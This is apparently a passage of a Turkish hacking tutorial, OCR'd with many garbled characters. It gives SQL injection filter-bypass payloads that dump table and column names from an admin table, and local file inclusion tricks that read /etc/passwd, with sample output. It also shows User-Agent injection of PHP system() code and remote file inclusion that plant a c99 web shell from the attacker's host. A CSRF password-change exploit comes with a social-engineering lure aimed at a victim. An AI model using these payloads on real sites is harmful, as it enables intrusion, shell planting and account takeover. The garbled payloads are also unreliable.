olarak 1-2 dzel karakter kullandik + ve )..

order+by+1—sonuna + koyduk

id=1 degerinin bagina da ) koyduk.

Tekrar sorguyu ¢alistirdigimizda sayfa eski haline dénecektir.Ayin sekilde ;

www.sayfam.com/sayfa.php?id=1+/*lorder*/+/*lby*/+1-- ,

www.sayfam.com/sayfa.php?id=1/**/order/**/by/**/1--,

www.sayfam.com/sayfa.php?id=1+(order)+(by)+1--,

www.sayfam.com/sayfa.php?id=1+or/*!*/der+by+1--,

www.sayfam.com/sayfa.php?id=1+#order#+#by#+1-- seklinde bypassler s6z konusu olabilir. Kisaca
hepsi ayni gorevi goriyor, buradaki bypass sizin hayal guicinize kalmistir.

b)

Bu sefer de union select komutunu gergeklesen aksi bir durum da nasil bypass edecegimizi
gOsterecegim..

Tekrar bir sayfa dislinmenizi istiyorum.. O degilde bir seyleri disinmenizi isteyince kendimi aref
zannetim bir an :)) Neyse samatayi birakalim isimize bakamlim tekrar bir site digtnelim;

www.sayfam.com/sayfa.php?id=1’ koyduk sqgl hatamizi aldik,

www.sayfam.com/sayfa.php?id=1+order+by+1-- yaptik eski haline déndui sayfamiz.

www.sayfam.com/sayfa.php?id=1+order+by+10-- yaptik hata aldik, 9 yaptik hata almadik kolon
sayimiz 9 ...

Simdi ekrana kolon sayilarimizi yansitma islemine gecelim bunun igin union select komutunu
kullanacagiz,

www.sayfam.com/sayfa.php?id=1+union+select+1,2,3,4,5,6,7,8,9--

yaptik sayilar sayfaya yansimadi veya forbidden hatasi verdi.. Simdi ne yapacagdiz? Tekrar aklimiza
Ozel karakterlerimizi getirerek mantiga uygun bir bicimde bypass girisimlerini yapalim;

Bir bypass da kullanabilecedimiz bazi karakter olusumlari;


http://www.sayfam.com/sayfa.php?id=1)+order+by--
http://www.sayfam.com/sayfa.php?id=1+/*!order*/+/*!by*/+1--
http://www.sayfam.com/sayfa.php?id=1/**/order/**/by/**/1--
http://www.sayfam.com/sayfa.php?id=1+(order)+(by)+1--
http://www.sayfam.com/sayfa.php?id=1+or/*!*/der+by+1--
http://www.sayfam.com/sayfa.php?id=1+#order#+#by
http://www.sayfam.com/sayfa.php?id=1
http://www.sayfam.com/sayfa.php?id=1+order+by+1--
http://www.sayfam.com/sayfa.php?id=1+order+by+10--
http://www.sayfam.com/sayfa.php?id=1+union+select+1,2,3,4,5,6,7,8,9--

== " #,=+,== -/,;%00
Simdi bunlari kullanarak biraz oyun oynayalim ne dersiniz? :))

ik olarak;

www.sayfam.com/sayfa.php?id=1+/*lunion*/+/*Iselect*/+1,2.3,4,5,6,7,8,9--

deneyelim.. Baktik ki sayfaya tekrar yansimadi. Burada pes etmeyecegiz, demistik sql injection lastik
gibidir nereye cekerseniz oraya gider diye.. Hayal giicinlize goére karakterlerimizi tek tek yazalim ve
tekrar sorgulatalim, bu is icin sabir gereklidir en sonunda istediginizi alinca his edeceginiz o seving
duygusunu tarif edemem :))

www.sayfam.com/sayfa.php?id=-1+unloN+/SeLecT\+1,2.3,.4,5,6,7,8,9--,

www.sayfam.com/sayfa.php?id=-1+//union//+//select//+1,2,3,4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=-1+/union\+/select\+1,2.3.4.5,6,7.,8,9--

www.sayfam.com/sayfa.php?id=-1+(union+select+1,2,3,4,5.6,7,8,9--)

www.sayfam.com/sayfa.php?id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9--+

www.sayfam.com/sayfa.php?id=-1+un/*!*/ion+se/*!*/lect+1,2,3,4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=-1+union/*&a=*/select/*&a=*/1,2,3,4,5,6,7,8,9-- -

www.sayfam.com/sayfa.php?id=1 and (select 1)=(Select OXAAAAAAAAAAAAAAAAAA 1000 Adet
A's)+UnloN+SelLeCT+1,2,3,4,5,6,7,8,9--+

www.sayfam.com/sayfa.php?id=1+UnioN+SELECT+1,2,3,4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=1+(UnloN)+(SelECT)+1,2,3,4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=1+(UnloN+SelECT)+1,2,3,4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=1+(Unl)(oN)+(Sel)(ECT)+1,2.3,.4,5,6,7,8,9--

www.sayfam.com/sayfa.php?id=1+'Unl//'on'+SelLeCt'+1,2,3,4,5,6,7,8,9--

seklinde onlarca bypass teknikleri bulunmaktadir :))

c)

Evet arkadaglar b) yan bagliginda gérdigumuz Gzere union select komutunu bypass ettik ve kargimiza
kolon sayilari yansimistir. Biz 4,6,9 sayilarinin yansidiklarini farz ederek devam edelim.

Simdi sirada group_concat komutunun bypass edilmesinde..


http://www.sayfam.com/sayfa.php?id=1+/*!union*/+/*!select*/+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+unIoN+/SeLecT%5C+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+//union//+//select//+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+/union%5C+/select%5C+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+(union+select+1,2,3,4,5,6,7,8,9--)
http://www.sayfam.com/sayfa.php?id=-1/**/union/**/select/**/1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+un/*!*/ion+se/*!*/lect+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=-1+union/*&a=*/select/*&a=*/1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=1
http://www.sayfam.com/sayfa.php?id=1+UnioN+SELECT+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=1+(UnIoN)+(SelECT)+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=1+(UnIoN+SelECT)+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=1+(UnI)(oN)+(Sel)(ECT)+1,2,3,4,5,6,7,8,9--
http://www.sayfam.com/sayfa.php?id=1+'UnI//'on'+SeLeCt'+1,2,3,4,5,6,7,8,9--

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayilar ¢ekilmis bir sekilde;

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,4,5,6,7,8,9--

ne demistis 4,6,9 yansimisti. 4 den devam edelim.

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group concat(table name),5,6,7.8,9+from+infor
mation schema.tables+where+table schema=database()--

seklinde tablo isimlerini cekmeye calistik karsimiza forbidden veya farkli bir hata geldi.
Group_concat bypass tipleride ayni mantikla yapilir.

/*1group_concat*/()

grOUp_ConCat(/*'user*/,0x3e,/*!pass*/)

group_concat(0x3c62723e)

seklinde uygulamalar yapacagiz.

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,/*Igroup concat*/(table name),5,6,7,8.9+from+in
formation schema.tables+where+table schema=database()--

veya

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp ConCat(/*!table name*/),5,6,7,8,9+from+
information_schema.tables+where+table schema=database()--

ve

www.savyfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp ConCat(/*!table name hexlenmis sekli
*/),5,6,7,8,9+from+information schema.tables+where+table schema=database()--

seklinde bypasslar s6z konusudur..

d)

Simdi sira group_concat ile tablo isimlerini cekecek iken karsimiza ¢ikan forbidden hatasini agsmaya
geldi :))

Taktiklerimiz aynidir, tekrar ayni site ile devam edelim

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group concat(table name),5,6,7,8,9+from+infor
mation schema.tables+where+table schema=database()--

seklinde yaptik bize tablo isimlerini vermedi.

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,.3,group concat(//table name//),5,6,7,8,9+from+inf
ormation schema.tables+where+table schema=database()--,



http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,4,5,6,7,8,9--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,/*!group_concat*/(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,/*!group_concat*/(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp_ConCat(/*!table_name*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp_ConCat(/*!table_name*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp_ConCat(/*!table_name%20hexlenmi%C5%9F%20%C5%9Fekli%20*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,grOUp_ConCat(/*!table_name%20hexlenmi%C5%9F%20%C5%9Fekli%20*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(table_name),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(//table_name//),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(//table_name//),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group concat(/*!table name*/),5,6,7,8,.9+from+in
formation schema.tables+where+table schema=database()--

yapiyoruz karsimiza tablo isimleri geliyor :)) Mantigini anladiginiz icin kisa kesiyorum.

Simdi sira geldi ¢ektigimiz tablo isimlerinin icerisindeki sitlinlari sorgularken karsimiza gelen hatayi
nasil agabilecegimizden.. Cektigimiz tablo isimlerinden birisi admin olsun, biz admin tablosunun
icindeki kolonlari yani suttnlari alacagiz, sdyle bir sorgu dasinin.

www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group concat(column name),5,6,7,8,9+from+inf
ormation_schema.columns+where+table schema=database()+and+table name=admin--

buradaki sorguda ne dedik? “Admin tablosunun icerisinde kolonlari bize ver..”

Sorguyu gonderiyoruz fakat bize kolonlari vermiyor, burada hex devreye girecek, database() ve admin
sorgusunu hexleyerek sorgu yapmayi deneyecegiz.

www.sayfa.com/sayfa.php?id=-1+union+select+1,2.3,group concat(column name),5,6,7.8,9+from+inf
ormation schema.columns+where+table schema=0x64617461626173652829+and+table name=0x61

646d696e--

Evet bu sekilde gonderdigimiz sorguda kolon isimleri karsimiza geldi :))

Evet sql injection da bypass serisi burada sona eriyor. Umarim anlatabilmisimdir sizde kolaylikla
anlamigsinizdir..

Siz dedigimi unutmayin SQL Injection lastik gibidir, nereye gekersek oraya gidicek..

LFI(Local File Include)


http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(/*!table_name*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(/*!table_name*/),5,6,7,8,9+from+information_schema.tables+where+table_schema=database()--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+from+information_schema.columns+where+table_schema=database()+and+table_name=admin--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+from+information_schema.columns+where+table_schema=database()+and+table_name=admin--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+from+information_schema.columns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+from+information_schema.columns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
http://www.sayfa.com/sayfa.php?id=-1+union+select+1,2,3,group_concat(column_name),5,6,7,8,9+from+information_schema.columns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

1- Local File include Nedir?

LFI (Local File include) Yerel dosya ¢agirmak anlamina gelir.Bu agik suanda bu o kadar giincel
degildir.Ama bazi sitelerde nadir olarak gorulebiliyor.Ben bu agiktan bahsetmeyecektim ama Web
Gulvenlik Aciklari denildigi zaman tum WEB UYGULAMALARINI Kapsiyor.Bu sebep yuzinden
bahsedecegim.

2- Local File include Mantigi Nedir?

LFI Agiginin mantigi server (izerinde dosyalari okumaktir.Ornek olarak etc/passwd dosyasindan
bahsedeyim.Serverdaki tim sitelerin USER’larinin bulundugu dosyadir.Bu acgik sayesinde Serverdaki
dosyalari okuma sansimiz oluyor.

3- Saldir1 Ani (Agigin Tespiti)

Bir Web Sayfasi disunin; www.site.com/sayfa.php?id=2 seklinde olsun..Burada LFI Olup olmadigini
soyle anlayabiliriz;

www.site.com/sayfa.php?id= yaptigimizda sayfada eder bir SQL injection hatasi veya dosya
bulunamadi seklinde bir hata varsa orada LFI Olabilir.Peki Hata olarak nasil bir hatadan bahsediyoruz?

Bize verilen hatadan yola ¢ikalim;

Warning: include() “/home/user/public_html/sayfa.php”

Seklinde bir hata aliyorsak LFI Vardir diyebiliriz.

4- Saldin Ani 2 (Agigin Kullanimi - Aksi Halde Bypass)

Ne demistik.Sitemizde Warning: include() “/home/user/public_html/sayfa.php” seklinde hata aldik.;

Acidi ../..letc/passwd seklinde etc/password dosyasini okuyarak anlayabiliriz.Fakat burada ../../ dizin
sayisi 6nemlidir.Hatada kag¢ adet dizin var bakalim;

/home/ -> 1

luser/ -> 2

/public_html/ -> 3

/sayfa.php -> 4

Evet 4 Adet dizin mevcuttur.Koyacagimiz ../ isareti 4 adet olmalidir;

www.site.com/sayfa.php?id=../../../../etc/passwd seklinde...

-HTML Code
HTML kod ceviriciler mevcuttur internet Gzerinde.Encode edecegimiz komut;
Komut: ../../../../etc/passwd

Encode: ..%2F..%2F..%2F..%2Fetc%2Fpasswd


http://www.site.com/sayfa.php?id=2
http://www.site.com/sayfa.php?id
http://www.site.com/sayfa.php?id

Tekrar deneyelim;

www.site.com/sayfa.php?id=..%2F..%2F..%2F..%2Fetc%2Fpasswd ve okumak istedigimiz
/etc/passwd dosyasini okuduk;

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin
lp:x:d:7:ilp:fvar/spool/lpd: /sbin/nologin
sync:x:5:8:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:s/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news :

uucp:x:18:14 :uucp:Svar/spoolSuucp: /sbin/nologin
operator:x:11:@:operator:/root:/sbin/nologin
games:x:12:100:games: fusr/games: /sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
Ttp:ix:14:50:FTP User:/var/fTtp:/sbin/nologin
nobody :x:99:99:Nobody : /:/sbin/nologin
dbus:x:81:81:5ystem message bus:/:/sbin/nologin

- CharCode
CharCode Mozillanin Hackbar Eklentisinde Mevcuttur.Simdi tekrardan bir bakalim

www.site.com/sayfa.php?id=../../../../etc/passwd sekline okumak istedigimizde tekrar okumuyor.HTML
code encode seklinde yaptik gene basarisiz..Simdi CharCode seklinde yapacagiz;

Komut: ../../../../etc/passwd

CharCode: String.fromCharCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101, 116, 99, 47, 112,
97, 115, 115, 119, 100)

Evet donlstirdik.Simdi tekrar bakalim;

www.site.com/sayfa.php?id=String.fromCharCode(46, 46, 47, 46, 46, 47, 46, 46, 47, 46, 46, 47, 101,
116, 99, 47, 112, 97, 115, 115, 119, 100)

Seklinde okuduk..Dosyamiz basgarih bir sekilde okundu :) ;


http://www.site.com/sayfa.php?id=../../../../etc/passwd
http://www.site.com/sayfa.php?id=../../../../etc/passwd

root:x:8:8:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin
lp:x:4:7:1p:/var/spool/lpd: /sbin/nologin
Sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/fsbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news: /etc/news:

uucp:x:18:14 :uucp:/var/spool/uucp: /sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: fusr/games: /sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
Ttp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody : /:/sbin/nologin
dbus:x:81:81:5ystem message bus:/:/sbin/nologin

5- Saldirn Ani 3 (Agig1 Kullanarak Siteye Dosya Yedirmek)

Acigin tespitinden bahsettik.Simdi bu acigi kullanarak dosya dahil edecegiz.Once mozillanin tamper
data eklentisini kurun.Daha Tamper Data yi agin.Start’a tiklayin ve
www.site.com/sayfa.php?id=../../../../etc/passwd %00 seklinde sayfayi yenileyin.Oniiniize gelen ilk
uyariya “TAMPER” Seklinde cevap verin.Karsiniza;



http://www.site.com/sayfa.php?id=../../../../etc/passwd

Tamper Popup

Request Header Heme

Fegquest Herder Y alue

Most Aom—
[ tee-Agent aaslaS ) (Wimdioss INT Bz nvl
Scoept text/him| apphcation'stml=umla )

Accept-Languane
coept-Encoding
Connection

Coakia

Seklinde bir panel gelecek.User-Agent Kismindaki yazilari silin ve <? system(“cat
www.site.com/c99.txt? -O c99.php “); ?> seklinde Dosya adresinizi yazin.Yanliz dikkat edin yUklerken
dosyay!i .txt uzantili olmasina dikkat edin..Yazdiktan sonra tamam diyoruz.Ve dosyamiz dahil edilmis

oluyor;

tr-TR trg=08 en-L15:q=0.5 emg=0.
goip, deflate

keep-aine

A5 NET Sessionkd=rvjaugladdwmd!

Post Parameter eme

www.site.com/c99.php seklinde ¢agirabilirsiniz..

6- Local File include Nerelerde Tespit Edilebilir?

a-) Search kutusu

Bir Search kutusu distnn;

Post Peameter sl

iTnmnm'
NI oo

Buraya LFI Komutunu girip ara butonuna tiklayalim; ../../etc/passwd%00 seklinde..

Eger ekrana ;



http://www.site.com/c99.php

root:x:8:8:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/shin:/sbin/nologin
adm:x:3:4:adm: /var/adm: /sbin/nologin
lp:x:4:7:1p:/var/spool/lpd: /sbin/nologin
Sync:x:5:8:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/fsbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news: /etc/news:

uucp:x:18:14 :uucp:/var/spool/uucp: /sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: fusr/games: /sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
Ttp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody : /:/sbin/nologin
dbus:x:81:81:5ystem message bus:/:/sbin/nologin

Seklinde komutumuz caligirsa bu demek oluyor ki Search dosyasinda LFI Agigi mevcuttur.

RFI(Remote File include)

1- Remote File include Nedir?

RFI(Remote File include) Uzakdan dahil etmek anlamina gelir.Eskisi kadar olmasa da suanda mevcut
olan siteler var..

2- Remote File include Mantigi Nedir?
Mantigi agik buldugumuz siteye istedigimiz sitedeki bir dosyayi dahil etmektir.
3- Saldirt Ani (Ac¢igin Tespiti - A¢igin Kullanimi - Aksi Halde Bypass)

Bir web sitesi diisiiniin ; www.site.com/dosya.php?id=2 olsun.id= degerinden sonraki 2 yi siliyoruz;

www.site.com/dosya.php?id= oluyor.Simdi burada agik olup olmaidini nasil anlariz?

Bir host’a dosyanizi txt uzantili olarak atin.Daha sonra sitede ;
www.site.com/dosya.php?id=http://www.sitem.com/c99.txt? seklinde gagirin.Eger sayfada ¢agirdiginiz
dosya calistiysa acigi hem bulmus hemde hazir hale getirmis oluyorsunuz zaten..

4- Remote File include Nerelerde Tespit Edilebilir?
a-Search kutusu

Bir Search (Arama) disunuin ;


http://www.site.com/dosya.php?id=2
http://www.site.com/dosya.php?id
http://www.site.com/dosya.php?id=http://www.sitem.com/c99.txt

Seklinde..Buraya http://site.com/c99.txt? seklinde dosyanizin adresini txt uzantili yazip ara butonuna
tikladiginizda, eger karsiniza dosya geliyorsa , yani ¢agirdiginiz dosya, burada RFI Acigi mevcuttur.Bu
kadar basittir.

CSRF/XSRF (Cross-Site Request
Forgery)

1-Onso6z

XSRF / CSRF Gulvenlik zaafiyetleri giinimizde bir ¢ok yerde mevcuttur.Cok genis kapsamli bir agik
olmakla birlikte, kullanimi da ¢ok kolaydir aslinda.Ama ¢ogu kimse karmasik gorip hemen ipin ucunu
birakmiglardir..Cok yanlis ¢clnki bu yolda devam ederken tiim Web Application turlerini 8renmek bizim
yararimiza olur.Tabi misyon dahilinde...

XSRF / CSRF Agiklari aslinda aynidir.Yani XSRF ve CSRF diye ayriimasi kafamizi karigtirmasin ..
2- Cross Site Request Forgery Nedir?

Attacker bir web sitesinin kaynak koduna gémulu olan Javascript veya HTML Kodlarini uygun bir
exploit haline getirip, kurbanin haberi olmadan session (oturum) bilgilerini elde etmesiyle olur..Bu acigi
sadece kurbanin sifrelerini almak diye bakmayalim ¢linki bu zaafiyet; para transferi, kredi karti
hirsizliklari ve birgok k6t emellere alet edilip milletin emegini ¢alabiliyor..Burada yapilan tek sey
kurbana gonderdigimiz linke tiklamasidir. Kurban bunu yaparken olaylardan habersizdir.Tereyadindan
kil geker gibi bilgileri alir attacker.

3- Cross-Site Request Forgery Nerelerde Kullanilir? Ne igin Kullanilir?
Bu zaafiyet butlin web applicationlarda bulunabilir.Yani ASP,PHP,HTML Sitelerde dahil olmak uzere...

Yukarida bahsettigim gibi session bilgilerini calmak, kredi karti bilgilerini galmak ve bir cok kétu amel
icin kullanilir..

4. Nasil Kullanilir? - Exploitlenir.

Zaafiyeti exploitleme basittir.Hemen bir drnekle devam edeyim;


http://site.com/c99.txt

Bir Web sayfasi hayal edin.Bu Web Sayfasinda session sifrelerini dedistirme dosyasi olsun.;
www.site.com/forum/passwordegistir.php seklinde..Bu bir forum sitesi olarak diistiniin.Siz foruma giris
yaptiniz ve sifrenizi deg@istirmek istiyorsunuz.Sifrenizi degistirdiginiz vakit;

www.site.com/forum/passworddegistir.php?yenipassword=mahserat

Burada sizin sifreniz mahserat olarak degistirilmistir.Yani linkte géreceginiz gibi burada bir XSRF/CSRF
zaafiyeti mevcuttur...Hemen degistirdigniz sifre linkinin kaynak koduna g6z atalim..Kaynak kodundan
<form></form> taglarini arayalim.;

<form method=""GET" action="passworddegistir.phy™>

<input type="text” name="sifie ">

<inpu type="Submit" Name="Submit" Value="Génder" >
</form>

Burada gérdiguniz gibi bilgiler GET methoduyla alinmis.GETPOST Methodu tercih edilecedi yerde..
Daha sonra kullanicidan alinan veri passworddegistir.php dosyasi aracilidiyla degistirilir.

Simdi biz bunu exloitleyelim, yani kullanilir hale getirelim; simdi kaynak kodlarini tekrar aliyoruz bir
notepad igerisine yapistiriyoruz.Daha sonra action="passworddegistir.php” dosyasinin tam linkini
belirliyoruz.Yani; action="http://site.com/forum/passworddegistir.php” seklinde.Daha sonra
name="sifre” kismina sifremizi yaziyoruz; name="12345" seklinde.Degistirdikten sonra kodlara tekrar
g6z atalim;

<form method="GET" actiun:-lmp:-;sﬂe.c sinforumpasswol ddegisphp™=
<input type="text" name="12345" >

<inpu type="Submit” Name="Submit" Value="Génder" >

</form=

Evet tamamdir.Simdi bunu .html uzantili kaydediyoruz ve hostumuza atiyoruz.Sonrasinda linki kurbana
gonderecegiz..Burada devreye SM (Sosyal muhendislik) giriyor..Sosyal muhendislik bilginizin biraz
olmasi gerekir.Mesela sdyle yedirebiliriz kurbana;

NOT: Kurbanin hoslandigi tarz yolundan gidersiniz daha iyi sonug alirsiniz.Ornek olarak
kurbanimiz Play Station oynamayi seven biri biz kurbana bu linki Play Station uygulamasi veya
oyunu seklinde yedirebiliriz.Ornek;

Merhaba kardesim.


http://www.site.com/forum/passwordegistir.php
http://www.site.com/forum/passworddegistir.php?yenipassword=mahserat

Bir Play Station uygulamasi gelistirdim.Bir g6z gezdirirmisin nasil olmus?

Uygulama: http://mehmetkelepce.org/dosya.html

Gibisinden bir SM Ydntemi ile yedirebilirsiniz..Burada dosya.html bizim exploitledigimiz uygun hale
getirdigimiz kodlardir.Tikladigi anda kurbanin sifresi 12345 olarak degisecek.

5- XSS ve CSRF Arasindaki Benzerlikler

CSREF Saldirisi XSS Saldirisinda igcine alan bir saldiri tipidir.Yani XSS’in oldugu yerde CSRF aciginin
olmasi %80 gibi bir orandir.

Evet saygi deder canlar..Bu uzun serlivenimiz burada sona erdi :) Web Guivenlik Aciklari harikulade bir
bdlum/alan’dir.Daha da ilerlemeniz, ilminizi ve bilginizi daha da yukarilara ¢cikarmaniz dilegiyle..;

linkedin.com/in/mehmetkelepce

Tesekkurler..

Mehmet Kelepce

@clampsec
fb/clampsec

yemfetihn@gmail.com



http://mehmetkelepce.org/dosya.html

